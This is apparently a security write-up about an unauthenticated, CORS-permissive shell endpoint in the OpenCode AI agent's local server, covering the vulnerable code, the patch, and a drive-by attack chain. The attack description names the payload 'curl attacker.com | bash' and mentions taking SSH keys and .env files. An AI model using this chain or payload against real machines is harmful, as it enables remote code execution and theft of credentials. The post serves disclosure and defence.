OpenCode RCE: When Localhost Becomes Public Enemy #1

We all love AI agents. They write our boilerplate, refactor our messy functions, and occasionally hallucinate libraries that don't exist. To do its job, the OpenCode agent runs a local server on your machine—typically on port 4096. This server is the bridge between the heavy lifting of the AI logic and the UI (your IDE or browser dashboard).

In a perfect world, this local server would only talk to trusted processes. It would demand a secret handshake, a token, or at least a stern look before executing commands. But in the world of OpenCode prior to version 1.0.216, the server was a promiscuous socialite. It didn't care who was asking; it just wanted to be helpful.

The architecture relied on the assumption that "if it's on localhost, it's safe." This is a dangerous fallacy in modern web security. Your browser is a portal to the entire internet, and it has access to localhost. If you don't secure the door, the browser will happily proxy attacks from evil.com straight to your internal services.

The root cause here is a delicious cocktail of two failures: Missing Authentication (CWE-306) and Permissive Cross-Origin Resource Sharing (CWE-942).

First, the endpoints. The server exposed /session to create a session and /session/{id}/shell to run shell commands. Neither required a password, a token, or even a polite 'please'. If you could reach the port, you could run the shell.

Second, the real killer: CORS. Browsers have a mechanism called the Same-Origin Policy (SOP) to stop evil.com from reading data from bank.com. However, servers can relax this via CORS headers. The OpenCode developers, likely to avoid friction during development, used a wildcard configuration.

Technically, they used .use(cors()) from the Express/Connect ecosystem without options. This default configuration often reflects the Origin header sent by the client, effectively saying "Yes, I will accept requests from anywhere!" This turned the browser into a confused deputy. A malicious site could instruct your browser to send a POST request to 127.0.0.1:4096. Because the server explicitly replied with "Access-Control-Allow-Origin: *" (or the specific origin), the browser bypassed SOP checks, allowed the request, and handed the response (containing the sensitive Session ID) back to the attacker.

Let's look at the diff. It's rare to see a fix so simple yet so impactful. The vulnerability existed because the CORS middleware was initialized blindly.

Here is the vulnerable code in packages/opencode/src/server/server.ts:

// The "Come on in, the water's fine" configuration
app.use(cors())

And here is the fix introduced in commit 7d2d87fa2c44e32314015980bb4e59a9386e858c:

app.use(
  cors({
    origin(input) {
      if (!input) return
      // Allow trusted local sources
      if (input.startsWith("http://localhost:")) return input
      if (input.startsWith("http://127.0.0.1:")) return input
      // Allow the official vendor domain
      if (/^https:\/\/([a-z0-9-]+\.)*opencode\.ai$/.test(input)) {
        return input
      }
      // Deny everyone else
      return
    },
  }),
)

Analysis of the Fix: The developers replaced the default behavior with a strict allowlist. Now, the server checks the Origin header. It only permits requests from:

1. localhost or 127.0.0.1 (other local apps).
2. Subdomains of opencode.ai (the vendor's cloud dashboard).

If you visit sketchy-site.org, the browser sends the Origin: https://sketchy-site.org header. The new code returns undefined, the CORS check fails, and the browser blocks the request. Crisis averted—mostly.

Exploiting this is trivially easy and requires zero specialized tools—just a web page. Here is how an attacker creates a "Drive-By RCE".

The Setup:

1. The attacker hosts a webpage containing malicious JavaScript.
2. The victim, running OpenCode in the background, visits the page.

The Attack Chain:

1. Handshake: The JS sends a POST to /session. Since the server replies with permissive CORS headers, the browser allows the JS to read the response.
2. Extraction: The JS parses the JSON response to grab the session_id.
3. Execution: The JS sends a second POST to /session/{session_id}/shell with the payload {"command": "calc.exe"} (or curl attacker.com | bash).

> [!WARNING] > Because this runs with the user's privileges, this isn't just "OpenCode RCE". It is "Your Laptop RCE". The attacker can read your SSH keys, exfiltrate your .env files, or install persistence mechanisms.

The remediation is straightforward but urgent. The vendor patched this in version 1.0.216. If you are running an older version, you are currently walking around with a "Kick Me" sign on your back.

Official Fix: Update the package immediately:

npm install -g opencode@latest
# or check your specific package manager

Re-Exploitation Potential (For the Paranoid): The fix relies on checking the Origin header. While robust against random websites, there are edge cases:

1. DNS Rebinding: If an attacker controls a subdomain of opencode.ai (unlikely, but possible via subdomain takeover), they could bypass the regex.
2. Local Network Exposure: The patch fixes the web vector, but if the server listens on 0.0.0.0 (all interfaces) rather than just loopback, other devices on your WiFi could still directly interact with the API via non-browser tools (curl/python), as CORS is purely a browser-side protection mechanism. Always ensure your firewall blocks port 4096 from external traffic.